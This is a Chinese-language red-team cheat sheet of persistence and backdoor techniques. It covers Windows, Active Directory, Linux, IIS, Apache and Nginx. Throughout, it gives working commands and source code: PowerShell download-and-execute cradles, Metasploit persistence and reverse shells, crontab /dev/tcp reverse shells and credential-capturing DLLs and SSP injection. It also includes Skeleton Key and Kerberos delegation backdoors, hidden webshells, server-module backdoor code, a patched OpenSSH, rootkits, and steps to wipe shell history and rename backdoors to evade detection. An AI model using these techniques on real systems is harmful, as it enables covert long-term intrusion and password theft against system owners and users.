复制DLL到靶机system32目录下,执行命令
>netsh add helper C:\Windows\System32\NetshHelperBeacon.dll

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只要启动netsh就会触发

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MSSQL后门

注册表自启动
>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/PowerUpSQL.ps1');Get-SQLPersistRegRun -Verbose -Name Update -Command 'c:\windows\temp\Update.exe' -Instance "zone.com\sub2k8""
重启MSSQL上线(需重启服务)
http://192.168.0.107/ps/Powershellery/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psm1
>powershell -ep bypass 
>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Powershellery/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psm1') 
>Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "zone.com\sub2k8" -PsCommand "IEX(new-object net.webclient).downloadstring('http://192.168.0.107/xxxx')" 远程木马脚本可用CS/Empire生成
>net stop mssqlserver
>net start mssqlserver
映像劫持
>powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/PowerUpSQL.ps1');Get-SQLPersistRegDebugger -Verbose -FileName sethc.exe -Command "c:\windows\system32\cmd.exe" -Instance "zone.com\sub2k8""
DDL事件触发
>powershell -exec bypass 
>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/Invoke-SqlServer-Persist-TriggerDDL.psm1') 
>Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "zone\sub2k8" -PsCommand "IEX(new-object net.webclient).downloadstring('http://192.168.0.107/xxxx')"  远程木马文件可用CS/Empire生成
>Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance " zone\sub2k8" -Remove   移除后门

NSSM

http://www.nssm.cc/release/nssm-2.24.zip
NSSM封装可执行程序为系统服务
>nssm install 服务名称会自动弹出设置

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Path选择powershell的路径,arguments直接输入参数。
启动服务
>nssm start 服务名称

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会上线

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重启电脑,权限也会维持
删除服务
>nssm remove <servicename>

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添加签名

https://github.com/secretsquirrel/SigThief
>python sigthief.py -i 被窃取的文件 -t 要添加签名的恶意文件 -o 保存文件
>python sigthief.py -i rarext.dll -t rarextdwa.dll -o 1.dll

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Metsvc

Meterpreter> run metsvc -A
在C:Windows\TEMP下随机生成目录三个文件,创建服务metsvc 31337端口
连接后门
Msf>use exploit/multi/handler
Msf>set payload windows/metsvc_bind_tcp
Msf>set rhost 192.168.1.2
Msf>set rport 31337
Msf>run
删除服务
Meterpreter > run metsvc –r

Persistence

Meterpreter>run persistence -X -i 10 -r 192.168.1.9 -p 4444
-X系统启动时运行
-i每隔10秒尝试连接服务端
连接后门
Msf>use exploit/multi/handler
Msf>set payload windows/meterpreter/reverse_tcp
Msf>set lhost 192.168.1.1
Msf>set lport 4444
Msf>run

HookPasswordChangeNotify

使用VS2015开发环境,MFC设置为在静态库中使用MFC
编译工程,生成HookPasswordChange.dll
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
在代码尾部添加如下代码:
>Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
并命名为HookPasswordChangeNotify.ps1
上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll
管理员权限执行
>PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1
C:\Windows\Temp下可以找到passwords.txt
&
https://gitee.com/RichChigga/PasswordchangeNotify
上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll 管理员权限执行:
>PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1
在C:\Windows\System32 新建文件system.ini第一行是连接的ip 第二行是端口

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NPPSpy记录密码

https://github.com/gtworek/PSBits/blob/master/PasswordStealing/NPPSpy/NPPSPy.c
默认保存位置是C盘根目录,可以修改重新编译

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将DLL放入system32文件夹内

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执行ps1脚本自动添加注册表

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无需重启

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Password Filter DLL

https://github.com/3gstudent/PasswordFilter
visualstudio生成解决方案
DLL放在%windir%\system32\下
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的Notification Packages,添加Win32Project3

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>REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\0Win32Project3" /f
重启之后只要修改用户的密码,即可记录

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文件默认在C盘根目录,可在源码中修改

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WMIC事件订阅

每隔30秒加载一次payload
>wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
>wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23",CommandLineTemplate="远程调用(powershell,regsvr32,mshta等)"
>wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

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重启维持
卸载后门
>Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose
>Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose
>Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose

WMI-Persistence

https://gitee.com/RichChigga/WMI-Persistence
cobalt strike ->payload generator->powershell(use x64)

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attack->文件下载,文件选择payload generator的脚本,local uri为随意文件

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生成后地址替换进WMI-Persistence脚本内

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# powershell -exec bypass
PS > Import-Module .\WMI-Persistence.ps1
PS > Install-Persistence

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PS > Check-WMI  重启后即可上线system权限(要等待4-6分钟)

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自定义上线

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attack->文件下载,exe木马指定为文件。local uri为随意文件,wmi.xsl放在web目录

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修改wmi.xsl
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<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c certutil -urlcache -split -f http://192.168.0.107/load.jpg %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://192.168.0.107/load.jpg delete",0);
]]> </ms:script>
</stylesheet>

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WMI-Persistence脚本修改payload地址为wmi.xsl
$finalPayload=" wmic os get /FORMAT:`"$Payload`""

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>powershell -exec bypass
PS > Import-Module .\WMI-Persistence.ps1
PS > Install-Persistence
PS > Check-WMI
PS > Remove-Persistence 删除模块
重启后即可上线

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Invoke-Tasksbackdoor

>powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.103/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method nccat -ip 192.168.0.103 -port 9999 -time 2"
> powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.103/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method msf -ip 192.168.0.103 -port 8081 -time 2"

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Invoke-ADSBackdoor

使用ADS创建一个隐藏文件,创建一个计划任务每隔一分钟请求一次攻击。
>powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Backdoors/Invoke-ADSBackdoor.ps1'); Invoke-ADSBackdoor -PayloadURL http://192.168.0.107/ps/Schtasks-Backdoor.ps1 -Arguments 'Invoke-Tasksbackdoor -method nccat -ip 192.168.0.107 -port 12138 -time 1'"

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生成
>msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.107 LPORT=12138 -f powershell -o /var/www/html/ads
#use exploit/multi/handler
#set payload windows/x64/meterpreter/reverse_https
#run

ADS隐藏webshell

指定宿主文件,index.php是网页正常文件
>echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
<?php include(‘index.php:hidden.jpg’)?>
<?php 
$a="696E6465782E7068703"."A68696464656E2E6A7067";#hex编码
$b="a";
include(PACK('H*',$$b))
?>
>echo 9527 > 1.txt:flag.txt
>notepad 1.txt:flag.txt
或不指定宿主文件
>echo hide > :key.txt
>cd ../
>notepad test:key.txt
上传处绕过
上传的文件名 服务器表面现象 生成的文件内容
test.php:a.jpg 生成test.php
test.php::$DATA 生成test.php
test.php::$INDEX_ALLOCATION 生成test.php文件夹 \
test.php::$DATA\0.jpg 生成0.jpg

ADS&JavaScript

创建一个txt文件,test.txt,随便添加内容(实际的工具,即用户要用的那个工具)。
将程序写入文件流(此处用calc.exe)
>type calc.exe > test.txt:calc.exe
使用mklink创建文件链接:
>mklink config.txt test.txt:calc.exe
创建readme.txt,文件内容随便。设置为隐藏。
创建readme.js,内容如下:
var objShell = new ActiveXObject("shell.application");
objShell.ShellExecute("cmd.exe", "/c config.txt", "", "open", 0);
objShell.ShellExecute("README.txt", "", "", "open", 1);
执行readme.js,运行calc.exe ,打开readme.txt

Empire

LNK后门

Empire
Empire> set Host http://192.168.1.150
Empire> set Port 8080
>launcher powershell Listener's Name
生成后只使用Base64的代码。
>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\Users\Administrator.DC\Desktop\Easy CHM.lnk' -EncScript Base64编码"

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清除后门
>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\Users\Administrator.DC\Desktop\Easy CHM.lnk' -CleanUp"

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WMI

Empire>powershell/persistence/elevated/wmi

注入SSP被动收集密码

需高权限

Mimikatz

重启失效
>privilege::debug
>misc::memssp
锁屏
>rundll32.exe user32.dll,LockWorkStation

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登录的账号密码保存在
C:\Windows\System32\mimilsa.log

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重启有效
将mimikatz中的mimilib.dll放入system32目录
>reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" 查看注册表
>reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ  添加mimilib

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有账号登录密码保存在C:\Windows\System32\kiwissp.log重启也有效

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Empire

复制mimilib.dll到system32文件夹中
>shell copy mimilib.dll C:\Windows\System32\
使用模块
>usemodule persistence/misc/install_ssp*
>set Path C:\Users\Administrator\mimilib.dll

Powersploit

>Import-Module .\PowerSploit.psm1
>Install-SSP -Path .\mimilib.dll

基于域策略文件权限后门

域的组策略和脚本存放在域控机的C:\Windows\SYSVOL\sysvol\zone.com\Policies目录,域内机器定时访问以更新策略
域控机设置policies为everyone完全控制
>cacls C:\Windows\SYSVOL\sysvol\zone.com\Policies /e /t /c /g "EveryOne":f

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使用powerview查询域内机对应策略文件
PS> Get-NETGPO -ComputerName sub2k8.zone.com |fl gpcfilesyspath
打开C:\Windows\SYSVOL\sysvol\zone.com\Policies\{id}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf末尾添加
[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1
手动刷新策略
>gpupdate /force
劫持taskhost.exe,可替换c:\windows\system32\calc.exe为后门文件或语句。

Kerberoasting后门

当有setspn权限时,为域用户添加一个SPN
>setspn -U -A RDP/zone.com godadmin

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域内任何主机可以使用Kerberoast 获得TGS
https://github.com/malachitheninja/Invoke-Kerberoast

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>Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation |Out-File xx.txt

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或使用rubeus.exe

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破解
>hashcat -m 13100 -a 0 kerberos.txt wordlist.txt

S4U2Self后门

域控执行,寻找具备SPN且密码永不过期的账户
>Get-ADUser -Filter * -Properties ServicePrincipalName,PasswordNeverExpires| ? {($_.ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)}

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使用mimikatz的dcsync提取用户hash
>lsadump::dcsync /domain:zone.com /user:y

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布置后门
>Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount 账户

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布置完成后利用,登录账户y
触发后门
>Rubeus.exe s4u /user:y /aes256:{aes256} /domain:zone.com /msdsspn:krbtgt /impersonateuser:godadmin

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注入票据,获取域控的CIFS、LDAP服务
>Rubeus.exe asktgs /ticket:{} /service:cifs/dc.zone.com,ldap/dc.zone.com /ptt

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受限委派后门

http://192.168.0.107/ps/nishang/ActiveDirectory/Add-ConstrainedDelegationBackdoor.ps1
新增一个受限委派服务账户,或添加受限委派后门功能给一个已知账户密码存在的服务账户。
需运行在域控制器上,本次演示的是新建后门账户,若是给已知账户密码的服务账户添加功能,步骤一致。
PS > Add-ConstrainedDelegationBackdoor -SamAccountName backdoor -Domain zone.com -AllowedToDelegateTo ldap/dc.zone.com
密码默认为Password@123!可以修改脚本中$Password参数修改密码。

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https://github.com/samratashok/ADModule
导入ADModule中的Microsoft.ActiveDirectory.Management.dll和Import-ActiveDirectory.ps1
>Import-Module Microsoft.ActiveDirectory.Management.dll -Verbose
>Import-Module Import-ActiveDirectory.ps1
现以域内普通用户y登录一台域内机器sub2k8,使用kekeo获取TGT
Kekeo#tgt::ask /user:backdoor /domain:zone.com /password:Passowrd@123!

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Kekeo#tgs::s4u /tgt:TGT_backdoor@ZONE.COM_krbtgt~zone.com@ZONE.COM.kirbi /user:godadmin@zone.com /service:ldap/dc.zone.com获取以域管理身份访问ldap的TGS 

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使用mimikatz写入TGS票据
mimikatz#kerberos::ptt C:\Users\y.ZONE\Desktop\kekeo\x64\TGS_godadmin@zone.com@ZONE.COM_ldap~dc.zone.com@ZONE.COM.kirbi

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接下来就可以dcsync导出krbtgt的hash,通过krbtgt伪造黄金票据
mimikatz#lsadump::dcsync /user:krbtgt /domain:zone.com

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Skeleton Key万能钥匙

域控上使用mimikatz执行
>privilege::debug
>misc::skeleton

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可以使用域内任何账号以密码mimikatz登录任意域内主机
使用Empire模块
>usemodule persistence/misc/skeleton_key*
绕过LSA Protection
>privilege::debug
>!+
>!processprotect /process:lsass.exe /remove
>misc::skeleton

唯一IP访问

>msfvenom -p windows/shell_hidden_bind_tcp LPORT=443 AHOST=192.168.0.107 -f exe > svchost.exe
只有当107这台机器连接时可获得shell,其他机器不可以。

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Linux cron后门

>msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.107 LPORT=12138 -f raw > /var/www/html/shell.sh
(crontab -l;printf "*/1 * * * * /bin/bash /tmp/shell.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

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#!bash
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.1.1/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

Strace记录ssh密码

安装strace
#apt-get install strace
#vi ~/.bashrc
添加
alias ssh='strace -o /tmp/.log -e read,write,connect -s 2048 ssh'

SSHD后门

>ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
执行后开启31337端口,使用root任意密码登录
>ssh root@192.168.1.1 -p 31337

进程注入

http://cymothoa.sourceforge.net/
靶机>./cymothoa -p 进程PID -s 1 -y 端口
攻击机>nc -vv ip 端口

SSH wrapper后门

#cd /usr/sbin
#mv sshd ../bin
#echo '#!/usr/bin/perl' >sshd
#echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
#echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
#chmod u+x sshd
#/etc/init.d/sshd restart
攻击机执行
>socat STDIO TCP4:192.168.0.110:22,sourceport=13377

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SUID Shell

>cp /bin/bash /tmp/tmp
>chmod u+s /tmp/tmp
>/tmp/tmp -p

SSH公私钥登录

>vim /etc/ssh/sshd_conf取消以下注释

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>ssh-keygen生成
复制/root/.ssh/id_rsa.pub文件到攻击端的/root/.ssh/authorized_keys
>ssh -i id_rsa targer@1.1.1.1

Reptile

https://github.com/f0rb1dd3n/Reptile
安装
>apt install build-essential libncurses-dev linux-headers-$(uname -r)
>git clone https://github.com/f0rb1dd3n/Reptile.git

Kbeast_rootkit

http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
version - 0 : 2.6.18 (RHEL/CentOS 5.x)
          1 : 2.6.32 (Ubuntu 10.x) [default version]
修改配置config.h
安装路径、日志路径、端口、连接密码、连接用户

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./setup build
攻击机连接
>telnet 192.168.1.1 13377

OpenSSH后门

下载
http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
备份配置文件
>mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
>mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
安装关联文件
centos
>yum install -y openssl openssl-devel pam-devel zlib zlib-devel
Ubuntu
>apt-get install -y openssl libssl-dev libpam0g-dev
>tar zxvf openssh-5.9p1.tar.gz 
>tar zxvf 0x06-openssh-5.9p1.patch.tar.gz 
>cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
>cd openssh-5.9p1
>patch <sshbd5.9p1.diff
>vim includes.h

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/tmp/ilog记录登录到本机的用户密码
/tmp/olog记录本机登录其他机器的账户密码
日志文件前可以加个.隐藏起来
SECRETPW是连接后门密码
查看当前版本
>ssh -V

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修改version.h改为当前版本

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编译安装
Centos7
>./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
>make clean
>make && make install
>systemctl restart sshd.service
ubuntu
>./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
>make clean
>make&&make install
重启服务,修改文件日志
>touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
>touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

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清除痕迹
>export HISTFILE=/dev/null
>export HISTSIZE=0
>export HISTFILESIZE=0
>sed -i 's/192.168.0.1/127.0.0.1/g' /root/.bash_history

IPTables端口复用

>iptables -t nat -N LETMEIN 
>iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
>iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
>iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
>iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
攻击端:
#开启复用
>echo threathuntercoming | socat - tcp:192.168.0.110:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.0.110
#关闭复用
echo threathunterleaving | socat - tcp:192.168.0.110:80

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文件处理

>chattr +I shell.sh

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>vim .shell.sh

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>attrib +s +h +r 1.txt

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>touch -r 1.file 2.file 修改2file文件的时间跟1file时间相同

IIS_Bin_Backdoor

From:https://github.com/WBGlIl/IIS_backdoor
IIS_backdoor_dll.dl放入 web 目录的 bin 文件夹中配置 web.config 文件
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<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<modules>
<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
</modules>
</system.webServer>
</configuration>
IIS_backdoor_shell.exe执行命令

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使用IISBackdoor太明显,容易被看出是后门,这里对后门改名

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重新生成解决方案,dll放入bin目录,web.config修改为
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<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<modules>
<add name="UrlRoutingModule" type="UrlRoutingModule.IISModule" />
</modules>
</system.webServer>
</configuration>

添加完之后会自动在模块中注册好

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执行payload,msf生成raw格式payload,选择shellcode选项,raw文件拖入即可
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.raw

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IIS_NETDLL_Spy

From:https://github.com/Ivan1ee/NetDLLSpy
原作者提及三种方式,第一种编译代码为DLL新建aspx文件实例化后门类来执行命令,第二种是做httphandler映射可指定一个后缀执行命令保存文件在web服务器上,再读取结果。第三种是使用jsc.exe编译js脚本生成dll,添加映射菜刀连接。
这里根据原作者的代码,进行了一下简单的修改,修改后的功能为添加httphandler映射指定一个后缀执行命令显示在页面上,不用保存在服务器中再访问。
代码
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using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Web;
namespace IsapiModules
{
public class Handler : IHttpHandler
{
public bool IsReusable
{
get
{
return false;
}
}
public void ProcessRequest(HttpContext context)
{
string input = context.Request.Form["InternetInformationService"]; //command
if (context.Request.Form["microsoft"] == "iis")//do command
{
this.cmdShell(input);
}
}
public void cmdShell(string input)
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.Arguments = "/c " + input;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
StreamReader output = process.StandardOutput;
String result = output.ReadToEnd();
output.Close();
output.Dispose();
HttpContext.Current.Response.Write(result);
}
}
}

保存为随意后缀,使用csc编译。
>C:\Windows\Microsoft.NET\Framework\v2.50727\csc.exe /t:library /r:System.Web.dll -out:C:\inetpub\wwwroot\Bin\SystemIO.dll C:\inetpub\wwwroot\bin\code.cs

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Web.config文件添加
<system.webServer>
    <handlers> 
        <add name="PageHandlerFactory-ISAPI-2.0-32" path="*.xxx" verb="*" type="IsapiModules.Handler" resourceType="Unspecified" requireAccess="Script" preCondition="integratedMode" /> 
    </handlers> 
</system.webServer>

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打开IIS管理器,可以看到处理映射管理器中已经添加了模块。

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现在随意访问个xxx后缀的文件

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带参数访问
microsoft=iis&InternetInformationService=net user

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第三种连接菜刀,这里也对代码修改了一下。
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import System; 
import System.Web;
import System.IO;
package IsapiModule
{
public class Handler implements IHttpHandler
{
function IHttpHandler.ProcessRequest(context : HttpContext)
{
context.Response.Write("404 Not Found")
var I = context;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
eval(context.Request["Internet"]); //pass
}
function get IHttpHandler.IsReusable() : Boolean{ return true}
}
}

使用jsc编译
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /t:library -out:C:\inetpub\wwwroot\Bin\IsapiModule.Handler.dll C:\inetpub\wwwroot\bin\code.js

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编辑web.config,添加映射,这里指定的后缀是.iis
<system.webServer> 
<modules runAllManagedModulesForAllRequests="true"/> <directoryBrowse enabled="true"/>
<staticContent>
 <mimeMap fileExtension=".json" mimeType="application/json" /> 
 </staticContent> 
<handlers>
 <add name="PageHandlerFactory-ISAPI-2.0-32-1" path="*.iis" verb="*" type="IsapiModule.Handler" preCondition="integratedMode"/>
 </handlers>
</system.webServer>
已自动加入了映射。现在随便访问个iis后缀的文件。

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可使用菜刀直接连接

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IIS_RAID

From:https://github.com/0x09AL/IIS-Raid
在vs2019下编译
在Functions.h中修改连接密码,passfile是dump下来的密码保存的位置,com_header是后门和服务器通信的请求头。

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打开项目修改完你的密码,直接ctrl+B生成解决方案即可(这里生成的是release版本)
Dll传到服务器,改个名字,执行添加模块
>C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:IsapiDotNet /image:"c:\windows\system32\inetsrv\IsapiDotNet.dll" /add:true

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在模块中可以看到已经存在了

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远程连接
>python3 iis_controller.py --url http://192.168.0.98 --password thisismykey
执行命令的方式是
>cmd +命令

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Dump命令可以dump下来IIS站点的登录的信息,保存在设置的位置。
Inject可以执行shellcode
Cs/msf生成raw格式的shellcode
>inject 位置

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JAVA Web Backdoor

From:https://www.freebuf.com/articles/web/172753.html
https://github.com/rebeyond/memShell
当获取一个webshell或bashshell权限时,下载后门执行注入进程形成无文件复活后门
下载后解压到任意web目录

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得到2个jar文件
执行,password设置为你的密码
>java -jar inject.jar password

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注入成功,在web任意页面任意url执行命令
http://192.168.0.121:8080/css/app.css?pass_the_world=password

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可执行命令,反弹shell,上传/下载文件,列目录,读文件,添加代理,连接菜刀

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Tomcat JSP HideShell

From:https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA
https://github.com/QAX-A-Team/HideShell
把自己的shell和hideshell传入靶机,先访问自己的shell,目的是为了让 Tomcat 将它编译,并生成 JspServletWrapper 保存在 JspRuntimeContext 中。

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再访问hideshell.jsp,点击hide你的shell。

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已经隐藏了

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再访问hideshell.jsp,可以看到隐藏后的shell的文件名。

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访问看看

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当然,也可以把hideshell自身隐藏了,那访问它的方式就是hidden-hideshell.jsp

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目录里啥都没了

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此方式隐藏之后请求不会产生日志

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那如果把shelltest文件夹删掉权限还会在吗?

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是在的

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Apache Module后门1

From:https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor
生成模板结构
>apxs -g -n auth

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编辑mod_auth.c文件
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#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"
#include <stdio.h>
#include <stdlib.h>
static int auth_handler(request_rec *r)
{
const apr_array_header_t *fields;
int i;
apr_table_entry_t *e = 0;
char FLAG = 0;
fields = apr_table_elts(r->headers_in);
e = (apr_table_entry_t *) fields->elts;
for(i = 0; i < fields->nelts; i++) {
if(strcmp(e[i].key, "Authorizations") == 0){
FLAG = 1;
break;
}
}
if (FLAG){
char * command = e[i].val;
FILE* fp = popen(command,"r");
char buffer[0x100] = {0};
int counter = 1;
while(counter){
counter = fread(buffer, 1, sizeof(buffer), fp);
ap_rwrite(buffer, counter, r);
}
pclose(fp);
return DONE;
}
return DECLINED;
}
static void auth_register_hooks(apr_pool_t *p)
{
ap_hook_handler(auth_handler, NULL, NULL, APR_HOOK_MIDDLE);
}
module AP_MODULE_DECLARE_DATA auth_module = {
STANDARD20_MODULE_STUFF,
NULL, /* create per-dir config structures */
NULL, /* merge per-dir config structures */
NULL, /* create per-server config structures */
NULL, /* merge per-server config structures */
NULL, /* table of config file commands */
auth_register_hooks /* register hooks */
};

编译后重启apache
>apxs -i -a -c mod_auth.c && service apache2 restart

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原文件接受的头是backdoor太明显,这里换成了Authorizations

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或使用python来执行

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import sys
def exploit(host, port, command):
headers = {
"Authorizations": command
}
url = "http://%s:%d/" % (host, port)
response = requests.get(url, headers=headers)
content = response.content
print content
def main():
if len(sys.argv) != 3:
print "Usage : "
print "\tpython %s [HOST] [PORT]" % (sys.argv[0])
exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
while True:
command = raw_input("$ ")
if command == "exit":
break
exploit(host, port, command)
if __name__ == "__main__":
main()

Apache Module后门2

From:https://github.com/VladRico/apache2_BackdoorMod
.load文件传入/etc/apache2/mods-available/目录,.so文件传入/usr/lib/apache2/modules/目录
启动后门模块,重启apache
>a2enmod backdoor&service apache2 restart

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Cookie里添加字段password=backdoor
访问http://ip/ping返回如下图说明后门正常允许

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访问http://ip/bind/12345 开启正向连接,攻击机执行nc ip 12345即可

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访问http://ip/revtty/192.168.0.107/12138 开启反向连接,攻击机109执行nc监听12138即可

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访问http://ip/proxy/1337开启socks代理

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想要结束socks代理可执行
>echo "imdonewithyou" |nc 192.168.0.111 1337

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即可结束socks代理
以上原作者的文件命名backdoor太明显,可以自己修改文件重新编译
创建模板结构命名为phpmodev

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修改cookie内容为迷惑字段Authorizations=PHPSESSIONID

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Apache Module后门3

From: https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247491179&idx=1&sn=ab26fe36ac74f5b140e91279ae8018c7
生成模板结构
>apxs -g -n phpdevmod

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编辑mod_phpdevmod.c文件
编译
>make -e CC=x86_64-linux-gnu-g++

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生成的.so文件在/.libs目录下

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将其复制到/usr/lib/apache2/modules/目录
修改/etc/apache2/mods-enabled/php7.0.load文件,添加如下
LoadModule phpdevmod_module /usr/lib/apache2/modules/mod_phpdevmod.so
<Location /qq.jpg>    #可以设置为任何不存在的文件
    setHandler phpdevmod
</Location>

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需重启apache服务
访问后门方式http://ip/qq.jpg?命令的url编码
直接访问后门文件

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636174202F6574632F706173737764为cat /etc/passwd的url编码

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Nginx Lua后门

From:https://github.com/netxfly/nginx_lua_security
https://github.com/Y4er/Y4er.com/blob/251d88d8a3cf21e9bafe15c43d7900ffeacfa7ea/content/post/nginx-lua-backdoor.md
后门利用的前提是获取到root权限,nginx安装有lua模块。
在nginx.conf中http节处添加,指定lua脚本位置,以及nginx启动时加载的脚本

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在lua目录/waf/中新建Init.lua,内容如下,require nginx表示加载nginx.lua中的模块。

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/waf/目录中新建nginx.lua实现执行命令,参数为waf。

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在nginx配置文件中加入location。

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效果:

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PwnNginx

From:https://github.com/t57root/pwnginx
解压好后编译客户端
>make

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编辑nginx的源文件/src/core/nginx.c找到configure arguments:在后面添加--prefix=/usr/local/nginx\n指定的是nginx安装的目录

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重新编译nginx添加后门模块
>./configure --prefix=/usr/local/nginx/ --add-module=/tmp/pwnginx-master/module

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>make

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覆盖新的nginx到原nginx目录
>cp -f objs/nginx /usr/local/nginx/sbin/nginx

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重启nginx
>killall nginx&/usr/local/nginx/sbin/nginx
连接
>./pwnginx shell 目标机 nginx端口 密码
默认密码是t57root,密码的配置文件在pwnginx-master\module\config.h文件夹中,可在重新编译nginx前修改密码

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此后门也可开启socks隧道

渗透和红队tips

父进程破坏

